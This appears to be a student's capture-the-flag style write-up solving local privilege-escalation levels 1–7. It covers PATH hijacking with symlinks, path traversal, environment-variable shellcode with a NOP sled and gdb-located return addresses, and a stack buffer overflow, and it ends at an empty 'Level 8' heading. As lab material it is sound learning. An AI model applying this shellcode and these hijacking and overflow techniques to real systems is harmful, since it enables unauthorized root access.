Readme File:

Level1:

I tried running the elf file in the level 1 directory using ./1. It said file .secret is not found.

ln –s is the command to make a symbolic link.

I made a symbolic link using the command ln –s /var/challenge/level1/.secret /home/aganesh3/.secret

Then go back to /var/challenge/level1 and execute the file 1, this time it works and spawns the shell where I run l33t to move to the next level.

Level 2:

Initially , I ran the file using ./2. It said please specify file to verify. Then I used ltrace,

Ltrace –f ./2 . Then I tried executing with specifying a file name sample.

Ltrace –f ./2 /home/aganesh/sample ( open no such file or directory )

Then I create a file and on ltracing again, I find that a child process is being created and I note ,

[pid 5588] execlp("tidy", "tidy", 0x804896c, 0, 0xbffff7b0 <no return

tidy is found elsewhere and is being executed.

So the decide to once again create a symbolic link in /home/aganesh3 by using command ln –s /usr/local/bin/l33t /home/aganesh3/tidy, I also make a change in the path variable PATH=/home/aganesh3:$PATH . This makes sure when a call to tidy is made it searches in my home directory first and the symbolic link makes sure l33t is called ( Output is OK! and I am promoted to the next level).

Level 3:

When I tried running the file 3 , output was not enough args. So I used ltrace and reran it with 1 argument. There are a lot of find calls to sub directories with permission denied. In the output of ltrace –f ./3 dude , I can observe that it is reading through my directory contents ( aganesh3) , so again by making a symbolic link ,

ln –s /usr/local/bin/l33t /home/aganesh3/find and by making sure that it searches this find first by modifying the path variable ( adding in front of the path variable /home/aganesh3) by PATH=/home/aganesh3:$PATH we can see that this find in /home/aganesh3 is called which in turn runs l33t and promotes me to level 4.

Level 4:

When I tried running the file 4 without parameters it said missing command. So I went into dev/bin and saw 2 files named ls and cat so I tried ,

./4 ls , and it displayed the files ( ls and cat )

Did a couple of l traces to try and understand the flow.

Earlier in level 3 , I had made a symbolic link find , so now I executed the following command:

./4 ../../../../../home/aganesh3/find ( ../.. ‘s are to navigate out and into my sub directory). This I was able to run l33t this way and move on to level 5.

Level 5:

I used the following paper as a reference to understand better environment variables and overflowing of the stack.

Reference: https://www.exploit-db.com/papers/13240/

First it was figured that in this question, the only way to run l33t is by modifying the stack variables (particularly the return address) so that shell is spawned and can be used. To find the exact address to be modified, in gdb I ran disass main and saw the assembly code values and was able to figure out the approximate location (After comparison to the array values) , I attempted changing the values at array destination 10 , 11 to 0 and found segmentation fault at 11 . Further inspection suggested that this was the value to be used.

To reference the shell, I used the concept of environment variables suggested in the paper as we need a reference to the string /bin/sh

/var/challenge/level5$export SVARIABLE=`perl -e 'print "\x90"x10,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` is a way to do this specified in the paper.

The above command uses a NOP sleds (indicated by X90 x 10 which means 10 NOP instructions) and then the shell part , basically if we can make our program jump to this position shell will come up and we can run l33t and progress).

I set a breakpoint in main, went on to check esp and around memory locations

Do x/1000 $esp

Found SVARIABLE at this line 0xbffff8b5

"SVARIABLE=\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343PS\211ᙰ\v̀"

0xbffff8b5: "SVARIABLE=\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343PS\211ᙰ\v̀"

Now I want to remove the SVARIABLE= from the path, so I count 1 byte each for SVARIABLE= and add it to hex value 0xbffff8b5

0xbffff8bf: "\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343PS\211ᙰ\v̀"

Then I run in GDB, come out and run again

./5 11 0xbffff8bf to crack this level.

Level 6:

C program to generate 256 characters:

#include<stdio.h>

int main(){

int i;

for(i=0;i<256;i++)

printf("c");

return 0;

}

After reading the program 6.c , I understood that the trick is to execute either sort or uniq on the object file 6 and to overload the buffer ( it’s capacity is 256 bytes) and to write the new return address to the l33t program.

After a few ltraces and gdb debugging, I decided to:

So I generated a C program to generate 256 times of a random character

‘c’ in this case and then appended the shell part to it.

./6 uniq cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc/usr/local/bin/l33t

This went through and upgraded me to level 7.

Level 7:

After understanding program 7.c , I decided to pass as argv[1] the 3 files in this level as parameters and check

./7 7 gave found empty line , quitting

./7 7.c gave “ the file must be owned by group 3008”

./7 7.cmd listed all the users and the groups they are in.

The program takes the lines of these files one at a time and passes them as parameters to system ( which will execute them like a command and print the output)

On opening 7.cmd I found 2 lines ls and cat /etc/group , Looking at the program carefully it is seen that only the second line will be passed to the system(cmd) as the parameter cmd in this execution.

So system(cat /etc/group) will be executed (this also makes sense on looking at the output )

So I decided to change the path variable as PATH=/home/aganesh3:$PATH and create a symbolic link named “cat” which points to /usr/bin/local/l33t

ln -s /usr/local/bin/l33t cat

Now run as ./7 7.cmd and this sends us to level 8.

Level 8: